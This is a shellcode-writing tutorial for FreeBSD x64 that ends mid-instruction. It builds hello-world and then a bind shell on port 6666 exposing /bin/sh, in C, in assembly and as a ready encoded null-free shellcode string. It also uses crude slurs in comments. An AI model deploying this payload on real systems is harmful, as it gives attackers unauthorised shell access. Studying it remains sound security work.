|=-----------------=[ Writing Assembly on FreeBSD (x64)]=--------------=| |=---------------------------------------------------------------------=| |=------------------------entropy [at] phiral.net----------------------=| |=---------------------------------------------------------------------=| |=------------------------the devil made me do it----------------------=| ----[ Intro I assume you know how to write in asm on x86 in AT&T syntax. I also assume you will read or have read Jon Larimer's[1] SummerCon[2] slides and Sys V ABI[3]. If you need an extremely easy intro to *remind* you of what you have forgotten over the years of partying and excessive drinking I would first say to read x64 Windows Debugging: Practical Foundations[4] and Writing Assembly on OpenBSD (x86)[5] as we are going to do a very similar example. ----[ _exit(0) Start out with the most basic possible: [entropy@phiral ~/code/fbsd_x64]$ man 2 _exit ... void _exit(int status); ... _exit takes one param, the value to return. To get its syscall number [entropy@phiral ~/code/fbsd_x64]$ cat /usr/src/sys/kern/syscalls.master |\ grep _exit 1 AUE_EXIT STD { void sys_exit(int rval); } exit \ Since everyone read all the required reading (...) we know to put the syscall number of _exit into rax, and the first paramater into rdi, and call kernel int $0x80. Code looks like: [entropy@phiral ~/code/fbsd_x64]$ cat exit.s .section .text .globl _start _start: nop movq $1, %rax movq $13, %rdi int $0x80 Assemble, link and run. [entropy@phiral ~/code/fbsd_x64]$ as -gstabs exit.s -o exit.o [entropy@phiral ~/code/fbsd_x64]$ ld exit.o -o exit [entropy@phiral ~/code/fbsd_x64]$ ./exit [entropy@phiral ~/code/fbsd_x64]$ echo $? 13 But have a look at these nasty ass honey badger opcodes: [entropy@phiral ~/code/fbsd_x64]$ objdump -d exit exit: file format elf64-x86-64 Disassembly of section .text: 00000000004000b0 <_start>: 4000b0: 90 nop 4000b1: 48 c7 c0 01 00 00 00 mov $0x1,%rax 4000b8: 48 c7 c7 0d 00 00 00 mov $0xd,%rdi 4000bf: cd 80 int $0x80 GCC, and basically any assembler/linker will optimize it into something like: [entropy@phiral ~/code/fbsd_x64]$ cat exit.s .section .text .globl _start _start: nop pushq $1; popq %rax pushq $13; popq %rdi int $0x80 [entropy@phiral ~/code/fbsd_x64]$ as -gstabs exit.s -o exit.o [entropy@phiral ~/code/fbsd_x64]$ ld exit.o -o exit [entropy@phiral ~/code/fbsd_x64]$ objdump -d exit exit: file format elf64-x86-64 Disassembly of section .text: 00000000004000b0 <_start>: 4000b0: 90 nop 4000b1: 6a 01 pushq $0x1 4000b3: 58 pop %rax 4000b4: 6a 0d pushq $0xd 4000b6: 5f pop %rdi 4000b7: cd 80 int $0x80 Much nicer. Add some defines to make the code easier to read and you get: [entropy@phiral ~/code/fbsd_x64]$ cat exit.s .section .rodata .equ SYS_EXIT,1 .equ EXIT_RET,13 .equ KERNEL, 0x80 .section .text .globl _start _start: nop pushq $SYS_EXIT; popq %rax pushq $EXIT_RET; popq %rdi int $KERNEL Boring. ----[ Hello World! Same thing for this, see what params write() takes and find its syscall number. [entropy@phiral ~/code/fbsd_x64]$ man 2 write ... ssize_t write(int d, const void *buf, size_t nbytes); ... Takes the d (file descriptor) to write to, which will be STDOUT (1), pointer to some string, and the size of the string. And the syscall number for write is... [entropy@phiral ~/code/fbsd_x64]$ grep write \ /usr/src/sys/kern/syscalls.master 4 AUE_NULL STD { ssize_t write(int fd, const void *buf, And we keep our _exit in there to exit when done. So put 4 in rax for the write syscall, put 1 in rdi (first param), put address of string into rsi (second param), and using our math skillz to count that "Hello, World!\n" is 14 chars, so put 14 into rdx (third param). [entropy@phiral ~/code/fbsd_x64]$ cat write.s .section .rodata .equ SYS_EXIT, 1 .equ SYS_WRITE, 4 .equ EXIT_RET, 13 .equ KERNEL, 0x80 .equ STDOUT, 1 .equ HELLO_LEN, 14 .section .data hello: .ascii "Hello, World!", "\n" .section .text .globl _start _start: nop # write(1, *hello, 14) pushq $SYS_WRITE; popq %rax # 4 (write syscall) into rax pushq $STDOUT; popq %rdi # 1 (STDOUT) into rdi pushq $hello; popq %rsi # address of hello into rsi pushq $HELLO_LEN; popq %rdx # 14 (HELLO_LEN) into rdx int $KERNEL # call kernel pushq $SYS_EXIT; popq %rax # 1 (_exit syscall) into rax pushq $EXIT_RET; popq %rdi # 13 (EXIT_RET) into rdi int $KERNEL # call kernel [entropy@phiral ~/code/fbsd_x64]$ as -gstabs write.s -o write.o [entropy@phiral ~/code/fbsd_x64]$ ld write.o -o write [entropy@phiral ~/code/fbsd_x64]$ ./write Hello, World! [entropy@phiral ~/code/fbsd_x64]$ objdump -d write write: file format elf64-x86-64 Disassembly of section .text: 00000000004000b0 <_start>: 4000b0: 90 nop 4000b1: 6a 04 pushq $0x4 4000b3: 58 pop %rax 4000b4: 6a 01 pushq $0x1 4000b6: 5f pop %rdi 4000b7: 68 d0 00 50 00 pushq $0x5000d0 4000bc: 5e pop %rsi 4000bd: 6a 0e pushq $0xe 4000bf: 5a pop %rdx 4000c0: cd 80 int $0x80 4000c2: 6a 01 pushq $0x1 4000c4: 58 pop %rax 4000c5: 6a 0d pushq $0xd 4000c7: 5f pop %rdi 4000c8: cd 80 int $0x80 Since we are doing this for shellcode, we want to get rid of those dirty whore nulls, which is the address $0x5000d0 (address of the string). What we can do is push immediate values onto the stack, the hex of 'Hello, World!\n', backwards. We have to pad it with 4 A's which we will over write with \x0s since strlen('Hello, World!\n') is != 16. [entropy@phiral ~/code/fbsd_x64]$ cat write_leet.s .section .rodata .equ SYS_EXIT, 1 .equ SYS_WRITE, 4 .equ EXIT_RET, 13 .equ KERNEL, 0x80 .equ STDOUT, 1 .equ HELLO_LEN, 14 .section .text .globl _start _start: nop # write(1, *hello, 14) pushq $SYS_WRITE; popq %rax # 4 (write syscall) into rax pushq $STDOUT; popq %rdi # 1 (STDOUT) into rdi movq $0xAAAA0a21646c726f, %rcx # put orld!\nAAAA into rcx pushq %rcx # push it onto stack movq $0x57202c6f6c6c6548, %rcx # put Hello, W into rcx pushq %rcx # push it onto stack # so here rsp is pointing to [Hello, W][orld\n!AAAA] # we want to overwrite those A's with 0s so xorq %rbx, %rbx # set rbx to 0 xorq %rcx, %rcx # set rcx to 0 movb $14, %cl # set cl to 14 (index into string # to first A) movw %bx, (%rsp, %rcx, 1) # write a word of 0000 movq %rsp, %rsi # put rsps address into rsi # so here rsp is pointing to [Hello, W][orld\n!0000] pushq $HELLO_LEN; popq %rdx # 14 (HELLO_LEN) into rdx int $KERNEL # call kernel pushq $SYS_EXIT; popq %rax # 1 (_exit syscall) into rax pushq $EXIT_RET; popq %rdi # 13 (EXIT_RET) into rdi int $KERNEL # call kernel [entropy@phiral ~/code/fbsd_x64]$ as -gstabs write_leet.s -o write_leet.o [entropy@phiral ~/code/fbsd_x64]$ ld write_leet.o -o write_leet [entropy@phiral ~/code/fbsd_x64]$ ./write_leet Hello, World! [entropy@phiral ~/code/fbsd_x64]$ objdump -d write_leet write_leet: file format elf64-x86-64 Disassembly of section .text: 00000000004000b0 <_start>: 4000b0: 90 nop 4000b1: 6a 04 pushq $0x4 4000b3: 58 pop %rax 4000b4: 6a 01 pushq $0x1 4000b6: 5f pop %rdi 4000b7: 48 b9 6f 72 6c 64 21 mov $0xaaaa0a21646c726f,%rcx 4000be: 0a aa aa 4000c1: 51 push %rcx 4000c2: 48 b9 48 65 6c 6c 6f mov $0x57202c6f6c6c6548,%rcx 4000c9: 2c 20 57 4000cc: 51 push %rcx 4000cd: 48 31 db xor %rbx,%rbx 4000d0: 48 31 c9 xor %rcx,%rcx 4000d3: b1 0e mov $0xe,%cl 4000d5: 66 89 1c 0c mov %bx,(%rsp,%rcx,1) 4000d9: 48 89 e6 mov %rsp,%rsi 4000dc: 6a 0e pushq $0xe 4000de: 5a pop %rdx 4000df: cd 80 int $0x80 4000e1: 6a 01 pushq $0x1 4000e3: 58 pop %rax 4000e4: 6a 0d pushq $0xd 4000e6: 5f pop %rdi 4000e7: cd 80 int $0x80 No nulls... [entropy@phiral ~/code/fbsd_x64]$ ./get-sc.sh write_leet \x90\x6a\x04\x58\x6a\x01\x5f\x48\xb9\x6f\x72 \x6c\x64\x21\x0a\xaa\xaa\x51\x48\xb9\x48\x65 \x6c\x6c\x6f\x2c\x20\x57\x51\x48\x31\xdb\x48 \x31\xc9\xb1\x0e\x66\x89\x1c\x0c\x48\x89\xe6 \x6a\x0e\x5a\xcd\x80\x6a\x01\x58\x6a\x0d\x5f \xcd\x80 [entropy@phiral ~/code/fbsd_x64]$ cat sc.c unsigned char sc[] = "\x90\x6a\x04\x58\x6a\x01\x5f\x48\xb9\x6f\x72" "\x6c\x64\x21\x0a\xaa\xaa\x51\x48\xb9\x48\x65" "\x6c\x6c\x6f\x2c\x20\x57\x51\x48\x31\xdb\x48" "\x31\xc9\xb1\x0e\x66\x89\x1c\x0c\x48\x89\xe6" "\x6a\x0e\x5a\xcd\x80\x6a\x01\x58\x6a\x0d\x5f" "\xcd\x80"; void main(void) { int *ret; ret = (int *)&ret + 4; (*ret) = (int)sc; } [entropy@phiral ~/code/fbsd_x64]$ gcc sc.c -o sc sc.c: In function 'main': sc.c:10: warning: cast from pointer to integer of different size sc.c:7: warning: return type of 'main' is not 'int' [entropy@phiral ~/code/fbsd_x64]$ ./sc Hello, World! ready to start poppin some boxes printing 'Hello, World!' ftw ----[ Retro Bindshell For an example thats easy to understand do a old school bindshell. [entropy@phiral ~/code/fbsd_x64]$ cat portbind.c #include #include #include #include #define STDIN 0 #define STDOUT 1 #define STDERR 2 #define PORT 6666 int main (void) { char *shell[2]; int listen_socket, accept_socket, len; struct sockaddr_in s; /* create a tcp socket */ listen_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); /* address family */ s.sin_family = AF_INET; /* bind to all address on box */ s.sin_addr.s_addr = htonl(INADDR_ANY); /* listen on the port */ s.sin_port = htons(PORT); /* bind to port */ bind(listen_socket, (struct sockaddr *)&s, sizeof(s)); /* listen for connects */ listen(listen_socket, 1); len = sizeof(s); /* accept a connect on listenign socket */ accept_socket = accept(listen_socket, (struct sockaddr *)&s, &len); /* dup stdin, out and err to the newly created socket */ dup2(accept_socket, STDIN); dup2(accept_socket, STDOUT); dup2(accept_socket, STDERR); /* char **shell */ shell[0] = "/bin/sh"; shell[1] = NULL; /* exec the shell */ execve(shell[0], shell, NULL); /* never reach here, well hopefully */ _exit(0); } Listens on every ip on the box on port 6666. [entropy@phiral ~/code/fbsd_x64]$ gcc portbind.c -o portbind [entropy@phiral ~/code/fbsd_x64]$ ./portbind maihem@sparky ~$ nc 172.16.233.85 6666 ls apache2_shl apache2_shl.o apache2_shl.s exit exit.o exit.s fbsd_x64_encoder fbsd_x64_encoder.o fbsd_x64_encoder.s get-sc.sh ipv6_die ipv6_die.o ipv6_die.s pb-opt.s portbind portbind.c portbind2.c sc sc.c write write.o write.s write_leet write_leet.o write_leet.s exit Ok to start we need struct sockaddr since bind and accept both use it. [entropy@phiral ~/code/fbsd_x64]$ grep 'struct sockaddr_in' -A7 -m1 \ /usr/include/netinet/in.h struct sockaddr_in { uint8_t sin_len; sa_family_t sin_family; in_port_t sin_port; struct in_addr sin_addr; char sin_zero[8]; }; uint8_t sin_len is obviously a byte [entropy@phiral ~/code/fbsd_x64]$ grep sa_family /usr/include/sys/*.h /usr/include/sys/_types.h:typedef __uint8_t __sa_family_t; /usr/include/sys/socket.h:typedef __sa_family_t sa_family_t; sa_family_t is a byte [entropy@phiral ~/code/fbsd_x64]$ grep in_port_t \ /usr/include/sys/types.h typedef __uint16_t in_port_t; in_port_t is a word [entropy@phiral ~/code/fbsd_x64]$ grep 'struct in_addr' -A2 -m1 \ /usr/include/netinet/in.h struct in_addr { in_addr_t s_addr; }; [entropy@phiral ~/code/fbsd_x64]$ grep in_addr_t \ /usr/include/sys/types.h typedef __uint32_t in_addr_t; /* base type for internet address */ and in_addr_t a long. The whole struct then looks like this: struct sockaddr_in { uint8_t sin_len; /* 1 byte */ uint8_t sin_family; /* 1 byte */ uint16_t sin_port; /* 2 bytes */ uint32_t sin_addr; /* 4 bytes */ int8_t sin_zero[8]; /* 8 bytes */ }; Now we know sizeof(sockaddr_in) is 16 bytes. Let get the values of PF_INET, SOCK_STREAM, IPPROTO_TCP, AF_INET and INADDR_ANY. [entropy@phiral ~/code/fbsd_x64]$ grep PF_INET /usr/include/sys/socket.h #define PF_INET AF_INET [entropy@phiral ~/code/fbsd_x64]$ grep AF_INET /usr/include/sys/socket.h #define AF_INET 2 /* internetwork: UDP, TCP, etc. */ [entropy@phiral ~/code/fbsd_x64]$ grep SOCK_STREAM \ /usr/include/sys/socket.h #define SOCK_STREAM 1 /* stream socket */ [entropy@phiral ~/code/fbsd_x64]$ grep IPPROTO_TCP \ /usr/include/netinet/in.h #define IPPROTO_TCP 6 /* tcp */ [entropy@phiral ~/code/fbsd_x64]$ grep INADDR_ANY \ /usr/include/netinet/in.h #define INADDR_ANY (u_int32_t)0x00000000 So we have: PF_INET = 2 AF_INET = 2 SOCK_STREAM = 1 IPPROTO_TCP = 6 INADDR_ANY = 0 The htons (host to network short) just converts the byte order to big-endian so just do that manually: [entropy@phiral ~/code/fbsd_x64]$ printf "0x%x\n" 6666 0x1a0a [entropy@phiral ~/code/fbsd_x64]$ printf "%d\n" 0x0a1a 2586 And of course STDIN is 0, STDOUT is 1 and STDERR is 2. With this info we can rewrite the portbind2.c with our new info, we need these for our asm as we wont have any includes and will be calling syscalls directlly. [entropy@phiral ~/code/fbsd_x64]$ cat portbind2.c #include #include #include struct sockaddr_in { uint8_t sin_len; /* 1 byte */ uint8_t sin_family; /* 1 byte */ uint16_t sin_port; /* 2 bytes */ uint32_t sin_addr; /* 4 bytes */ int8_t sin_zero[8]; /* 8 bytes */ }; int main (void) { char *shell[2]; int listen_socket, accept_socket, len; struct sockaddr_in s; /* create a tcp socket */ listen_socket = socket(2, 1, 6); /* address family */ s.sin_family = 2; /* bind to all address on box */ s.sin_addr = 0; /* listen on the port */ s.sin_port = 2586; /* bind to port */ bind(listen_socket, (struct sockaddr *)&s, 16); /* listen for connects */ listen(listen_socket, 1); len = 16; /* accept a connect on listenign socket */ accept_socket = accept(listen_socket, (struct sockaddr *)&s, &len); /* dup stdin, out and err to the newly created socket */ dup2(accept_socket, 0); dup2(accept_socket, 1); dup2(accept_socket, 2); /* char **shell */ shell[0] = "/bin/sh"; shell[1] = NULL; /* exec the shell */ execve(shell[0], shell, NULL); /* never reach here, well hopefully */ _exit(0); } [entropy@phiral ~/code/fbsd_x64]$ gcc portbind2.c -o portbind2 [entropy@phiral ~/code/fbsd_x64]$ ./portbind2 maihem@sparky ~$ nc 172.16.233.85 6666 uname -a FreeBSD phiral 8.2-RELEASE FreeBSD 8.2-RELEASE #1: Sun Aug 21 16:43:40 EDT 2011 entropy@:/usr/src/sys/amd64/compile/DARKNESS amd64 exit Now we need all the syscall numbers for are socket(), bind(), listen(), accept(), dup2(), execve() and exit(). [entropy@phiral ~/code/fbsd_x64]$ for i in socket bind listen accept \ dup2 execve exit; do grep -m1 $i /usr/src/sys/kern/syscalls.master; \ done 97 AUE_SOCKET STD { int socket(int domain, int type, \ 104 AUE_BIND STD { int bind(int s, caddr_t name, \ 106 AUE_LISTEN STD { int listen(int s, int backlog); } 30 AUE_ACCEPT STD { int accept(int s, \ 90 AUE_DUP2 STD { int dup2(u_int from, u_int to); } 59 AUE_EXECVE STD { int execve(char *fname, char **argv, \ 1 AUE_EXIT STD { void sys_exit(int rval); } exit \ And get their prototypes (man 2 ): int socket(int domain, int type, int protocol); int bind(int s, const struct sockaddr *name, socklen_t namelen); int listen(int s, int backlog); int accept(int s, struct sockaddr * restrict addr, socklen_t * restrict addrlen); int dup2(int oldd, int newd); int execve(const char *path, char *const argv[], char *const envp[]); void _exit(int status); Start coding, in pieces. [entropy@phiral ~/code/fbsd_x64]$ cat pb-opt1.s .section .rodata .equ KERN, 0x80 .equ SYS_SOCKET, 97 .equ SYS_BIND, 104 .equ SYS_LISTEN, 106 .equ SYS_ACCEPT, 30 .equ SYS_DUP2, 90 .equ SYS_EXECVE, 59 .equ SYS_EXIT,1 .equ SOCKADDR_IN_SIZE, 16 .equ PF_INET, 2 .equ AF_INET, 2 .equ SOCK_STREAM, 1 .equ IPPROTO_TCP, 6 .equ INADDR_ANY, 0 .equ STDIN, 0 .equ STDOUT, 1 .equ STDERR, 2 .equ PORT, 2586 .section .data sockaddr_in: sin_len: .byte 0 sin_family: .byte 0 sin_port: .word 0 sin_addr: .long 0 sin_zero: .long 0,0,0,0,0,0,0,0 listen_sock: .long 0 accept_sock: .long 0 socklen: .long 0 shell: .ascii "/bin/sh\0" shelladdr: .quad 0 .section .text .globl _start _start: nop # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) pushq $SYS_SOCKET; popq %rax # SYS_SOCKET syscall number # into rax pushq $PF_INET; popq %rdi # PF_INET into rdi pushq $SOCK_STREAM; popq %rsi # SOCK_STREAM into rsi pushq $IPPROTO_TCP; popq %rdx # IPPROTO_TCP into rdx int $KERN # call kernel movl %eax, listen_sock # save return address in # listen_sock # _exit(0) pushq $1; popq %rax xorq %rdi, %rdi int $KERN [entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-opt1.s -o pb-opt1.o [entropy@phiral ~/code/fbsd_x64]$ ld pb-opt1.o -o pb-opt1 [entropy@phiral ~/code/fbsd_x64]$ ktrace ./pb-opt1 [entropy@phiral ~/code/fbsd_x64]$ kdump 12599 ktrace RET ktrace 0 12599 ktrace CALL execve(0x7fffffffec67,0x7fffffffe9d8,0x7fffffffe9e8) 12599 ktrace NAMI "./pb-opt1" 12599 pb-opt1 RET execve 0 12599 pb-opt1 CALL socket(PF_INET,SOCK_STREAM,IPPROTO_TCP) 12599 pb-opt1 RET socket 3 12599 pb-opt1 CALL exit(0) socket(PF_INET,SOCK_STREAM,IPPROTO_TCP) call looks fine. [entropy@phiral ~/code/fbsd_x64]$ gdb -q pb-opt1 (gdb) disas _start Dump of assembler code for function _start: 0x00000000004000b0 <_start+0>: nop 0x00000000004000b1 <_start+1>: pushq $0x61 0x00000000004000b3 <_start+3>: pop %rax 0x00000000004000b4 <_start+4>: pushq $0x2 0x00000000004000b6 <_start+6>: pop %rdi 0x00000000004000b7 <_start+7>: pushq $0x1 0x00000000004000b9 <_start+9>: pop %rsi 0x00000000004000ba <_start+10>: pushq $0x6 0x00000000004000bc <_start+12>: pop %rdx 0x00000000004000bd <_start+13>: int $0x80 0x00000000004000bf <_start+15>: mov %eax,0x5000f8 0x00000000004000c6 <_start+22>: pushq $0x1 0x00000000004000c8 <_start+24>: pop %rax 0x00000000004000c9 <_start+25>: xor %rdi,%rdi 0x00000000004000cc <_start+28>: int $0x80 End of assembler dump. (gdb) b *_start+15 Breakpoint 1 at 0x4000bf: file pb-opt1.s, line 55. (gdb) r Starting program: /home/entropy/code/fbsd_x64/pb-opt1 Breakpoint 1, _start () at pb-opt1.s:55 55 movl %eax, listen_sock # save return address in listen_sock Current language: auto; currently asm (gdb) s 58 pushq $1; popq %rax (gdb) p $rax $1 = 7 (gdb) x/d &listen_sock 0x5000f8 : 7 (gdb) c Continuing. Program exited normally. (gdb) q The rest follows the same patten so the final code is here: [entropy@phiral ~/code/fbsd_x64]$ cat pb-opt-final.s .section .rodata .equ KERN, 0x80 .equ SYS_SOCKET, 97 .equ SYS_BIND, 104 .equ SYS_LISTEN, 106 .equ SYS_ACCEPT, 30 .equ SYS_DUP2, 90 .equ SYS_EXECVE, 59 .equ SYS_EXIT,1 .equ SOCKADDR_IN_SIZE, 16 .equ PF_INET, 2 .equ AF_INET, 2 .equ SOCK_STREAM, 1 .equ IPPROTO_TCP, 6 .equ INADDR_ANY, 0 .equ STDIN, 0 .equ STDOUT, 1 .equ STDERR, 2 .equ PORT, 2586 .section .data sockaddr_in: sin_len: .byte 0 sin_family: .byte 0 sin_port: .word 0 sin_addr: .long 0 sin_zero: .long 0,0,0,0,0,0,0,0 listen_sock: .long 0 accept_sock: .long 0 socklen: .long 0 shell: .ascii "/bin/sh\0" shelladdr: .quad 0 .section .text .globl _start _start: nop # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) pushq $SYS_SOCKET; popq %rax pushq $PF_INET; popq %rdi pushq $SOCK_STREAM; popq %rsi pushq $IPPROTO_TCP; popq %rdx int $KERN movl %eax, listen_sock # build the sockaddr_in movl $AF_INET, sin_family movl $INADDR_ANY, sin_addr movl $PORT, sin_port # bind(listen_socket, (struct sockaddr *)&s, sizeof(s)); pushq $SYS_BIND; popq %rax pushq listen_sock; pop %rdi leaq sockaddr_in, %rsi pushq $SOCKADDR_IN_SIZE; popq %rdx int $KERN # listen(listen_socket, 1) pushq $SYS_LISTEN; popq %rax pushq listen_sock; popq %rdi pushq $1; popq %rsi int $KERN # accept_socket = accept(listen_socket, (struct sockaddr *)&s, &len); # we already build the sockaddr_in above movl $SOCKADDR_IN_SIZE, socklen pushq $SYS_ACCEPT; popq %rax pushq listen_sock; popq %rdi leaq sockaddr_in, %rsi leaq socklen, %rdx int $KERN movl %eax, accept_sock # dup2 these rich whores # dup2(accept_socket, 0); pushq $SYS_DUP2; popq %rax movl accept_sock, %edi pushq $STDIN; popq %rsi int $KERN # dup2(accept_socket, 1); pushq $SYS_DUP2; popq %rax movl accept_sock, %edi pushq $STDOUT; popq %rsi int $KERN # dup2(accept_socket, 2); pushq $SYS_DUP2; popq %rax movl accept_sock, %edi pushq $STDERR; popq %rsi int $KERN # execve(shell[0], shell, NULL); pushq $SYS_EXECVE; popq %rax leaq shell, %rdi leaq shelladdr, %rsi xorq %rdx, %rdx int $KERN # _exit(0) pushq $1; popq %rax xorq %rdi, %rdi int $KERN [entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-opt-final.s -o \ pb-opt-final.o [entropy@phiral ~/code/fbsd_x64]$ ld pb-opt-final.o -o pb-opt-final [entropy@phiral ~/code/fbsd_x64]$ ./pb-opt-final maihem@sparky ~$ nc 172.16.233.85 6666 id uid=1001(entropy) gid=0(wheel) groups=0(wheel) exit ----[ Null removal [entropy@phiral ~/code/fbsd_x64]$ objdump -d pb-opt-final pb-opt-final: file format elf64-x86-64 Disassembly of section .text: 00000000004000b0 <_start>: 4000b0: 90 nop 4000b1: 6a 61 pushq $0x61 4000b3: 58 pop %rax 4000b4: 6a 02 pushq $0x2 4000b6: 5f pop %rdi 4000b7: 6a 01 pushq $0x1 4000b9: 5e pop %rsi 4000ba: 6a 06 pushq $0x6 4000bc: 5a pop %rdx 4000bd: cd 80 int $0x80 4000bf: 89 04 25 b8 01 50 00 mov %eax,0x5001b8 4000c6: c7 04 25 91 01 50 00 movl $0x2,0x500191 4000cd: 02 00 00 00 4000d1: c7 04 25 94 01 50 00 movl $0x0,0x500194 4000d8: 00 00 00 00 4000dc: c7 04 25 92 01 50 00 movl $0xa1a,0x500192 4000e3: 1a 0a 00 00 4000e7: 6a 68 pushq $0x68 4000e9: 58 pop %rax 4000ea: ff 34 25 b8 01 50 00 pushq 0x5001b8 4000f1: 5f pop %rdi 4000f2: 48 8d 34 25 90 01 50 lea 0x500190,%rsi 4000f9: 00 4000fa: 6a 10 pushq $0x10 4000fc: 5a pop %rdx 4000fd: cd 80 int $0x80 4000ff: 6a 6a pushq $0x6a 400101: 58 pop %rax 400102: ff 34 25 b8 01 50 00 pushq 0x5001b8 400109: 5f pop %rdi 40010a: 6a 01 pushq $0x1 40010c: 5e pop %rsi 40010d: cd 80 int $0x80 40010f: c7 04 25 c0 01 50 00 movl $0x10,0x5001c0 400116: 10 00 00 00 40011a: 6a 1e pushq $0x1e 40011c: 58 pop %rax 40011d: ff 34 25 b8 01 50 00 pushq 0x5001b8 400124: 5f pop %rdi 400125: 48 8d 34 25 90 01 50 lea 0x500190,%rsi 40012c: 00 40012d: 48 8d 14 25 c0 01 50 lea 0x5001c0,%rdx 400134: 00 400135: cd 80 int $0x80 400137: 89 04 25 bc 01 50 00 mov %eax,0x5001bc 40013e: 6a 5a pushq $0x5a 400140: 58 pop %rax 400141: 8b 3c 25 bc 01 50 00 mov 0x5001bc,%edi 400148: 6a 00 pushq $0x0 40014a: 5e pop %rsi 40014b: cd 80 int $0x80 40014d: 6a 5a pushq $0x5a 40014f: 58 pop %rax 400150: 8b 3c 25 bc 01 50 00 mov 0x5001bc,%edi 400157: 6a 01 pushq $0x1 400159: 5e pop %rsi 40015a: cd 80 int $0x80 40015c: 6a 5a pushq $0x5a 40015e: 58 pop %rax 40015f: 8b 3c 25 bc 01 50 00 mov 0x5001bc,%edi 400166: 6a 02 pushq $0x2 400168: 5e pop %rsi 400169: cd 80 int $0x80 40016b: 6a 3b pushq $0x3b 40016d: 58 pop %rax 40016e: 48 8d 3c 25 c4 01 50 lea 0x5001c4,%rdi 400175: 00 400176: 48 8d 34 25 cc 01 50 lea 0x5001cc,%rsi 40017d: 00 40017e: 48 31 d2 xor %rdx,%rdx 400181: cd 80 int $0x80 400183: 6a 01 pushq $0x1 400185: 58 pop %rax 400186: 48 31 ff xor %rdi,%rdi 400189: cd 80 int $0x80 This as a fuck load of nulls in it to get rid of. You can either use some super 31337 encoder like... [entropy@phiral ~/code/fbsd_x64]$ ./fbsd_x64_encoder pb-opt-final [*] Pass 0 .. [*] Pass 1 .................. [*] Pass 2 .... [*] Pass 3 ........ [*] Pass 4 ..... [*] Pass 5 ............ [*] Shellcode: \x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd \x80\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52 \x48\x31\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04 \x0c\x1a\x0a\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10 \x5a\xcd\x80\x6a\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80 \x6a\x1e\x58\x41\x50\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10 \x51\x48\x89\xe2\xcd\x80\x59\x4d\x31\xc9\x41\x89\xc1\x6a \x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80\x6a\x5a\x58\x44 \x89\xcf\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a \x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6 \x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7 \x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2 \xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80 ... or do it the manual way. All those addreses in the .data section are the problem, so we will just do it all on the stack and in registers. One block at a time. /**** socket ****/ pushq $SYS_SOCKET; popq %rax pushq $PF_INET; popq %rdi pushq $SOCK_STREAM; popq %rsi pushq $IPPROTO_TCP; popq %rdx int $KERN movl %eax, listen_sock becomes pushq $SYS_SOCKET; popq %rax pushq $PF_INET; popq %rdi pushq $SOCK_STREAM; popq %rsi pushq $IPPROTO_TCP; popq %rdx int $KERN xorq %r8, %r8 # clear %r8 movl %eax, %r8d # store listen_sock int %r8d /**** bind ****/ # builds sockaddr_in movl $AF_INET, sin_family movl $INADDR_ANY, sin_addr movl $PORT, sin_port # bind(listen_socket, (struct sockaddr *)&s, sizeof(s)); pushq $SYS_BIND; popq %rax pushq listen_sock; pop %rdi leaq sockaddr_in, %rsi pushq $SOCKADDR_IN_SIZE; popq %rdx int $KERN becomes We build the whole sockaddr_in on the stack, only thing we need is the sin_family which is 1 byte off from the start, and the port which is two bytes off from the start since everything else is zeroed. # builds sockaddr_in on the stack xorq %r10, %r10 pushq %r10 pushq %r10 xorq %rcx, %rcx movb $1, %cl movb $AF_INET, (%rsp, %rcx, 1) # 1 byte off from start movb $2, %cl movw $PORT, (%rsp, %rcx, 1) # 2 bytes from start # bind(listen_socket, (struct sockaddr *)&s, sizeof(s)); pushq $SYS_BIND; popq %rax pushq %r8; pop %rdi movq %rsp, %rsi pushq $SOCKADDR_IN_SIZE; popq %rdx int $KERN /**** listen ****/ # listen(listen_socket, 1) pushq $SYS_LISTEN; popq %rax pushq listen_sock; popq %rdi pushq $1; popq %rsi int $KERN becomes # listen(listen_socket, 1) pushq $SYS_LISTEN; popq %rax pushq %r8; popq %rdi # listen_sock is %r8 now pushq $1; popq %rsi int $KERN /**** accept ****/ movl $SOCKADDR_IN_SIZE, socklen pushq $SYS_ACCEPT; popq %rax pushq listen_sock; popq %rdi leaq sockaddr_in, %rsi leaq socklen, %rdx int $KERN movl %eax, accept_sock becomes pushq $SYS_ACCEPT; popq %rax pushq %r8; popq %rdi # %r8 is listen_sock movq %rsp, %rsi xorq %rcx, %rcx movb $16, %cl # use cl - no \x0s pushq %rcx movq %rsp, %rdx int $KERN popq %rcx xorq %r9, %r9 # clear %r9 movl %eax, %r9d # store accept_sock in it /**** dup2s ****/ # dup2 these rich whores pushq $SYS_DUP2; popq %rax movl accept_sock, %edi pushq $STDIN; popq %rsi int $KERN pushq $SYS_DUP2; popq %rax movl accept_sock, %edi pushq $STDOUT; popq %rsi int $KERN pushq $SYS_DUP2; popq %rax movl accept_sock, %edi pushq $STDERR; popq %rsi int $KERN becomes # dup2 these rich whores pushq $SYS_DUP2; popq %rax movl %r9d, %edi # %r9d is accept_sock xorq %rsi, %rsi # STDIN is 0 so xor rsi for it int $KERN pushq $SYS_DUP2; popq %rax movl %r9d, %edi # %r9d is accept_sock pushq $STDOUT; popq %rsi int $KERN pushq $SYS_DUP2; popq %rax movl %r9d, %edi # %r9d is accept_sock pushq $STDERR; popq %rsi int $KERN /**** execve ****/ pushq $SYS_EXECVE; popq %rax leaq shell, %rdi leaq shelladdr, %rsi xorq %rdx, %rdx int $KERN becomes The same way the hello world was done: push a null onto the stack push /bin/shAA in hex backwards onto the stack, then overwrite the AA byte with \x0 so you get /bin/sh\0 pushq 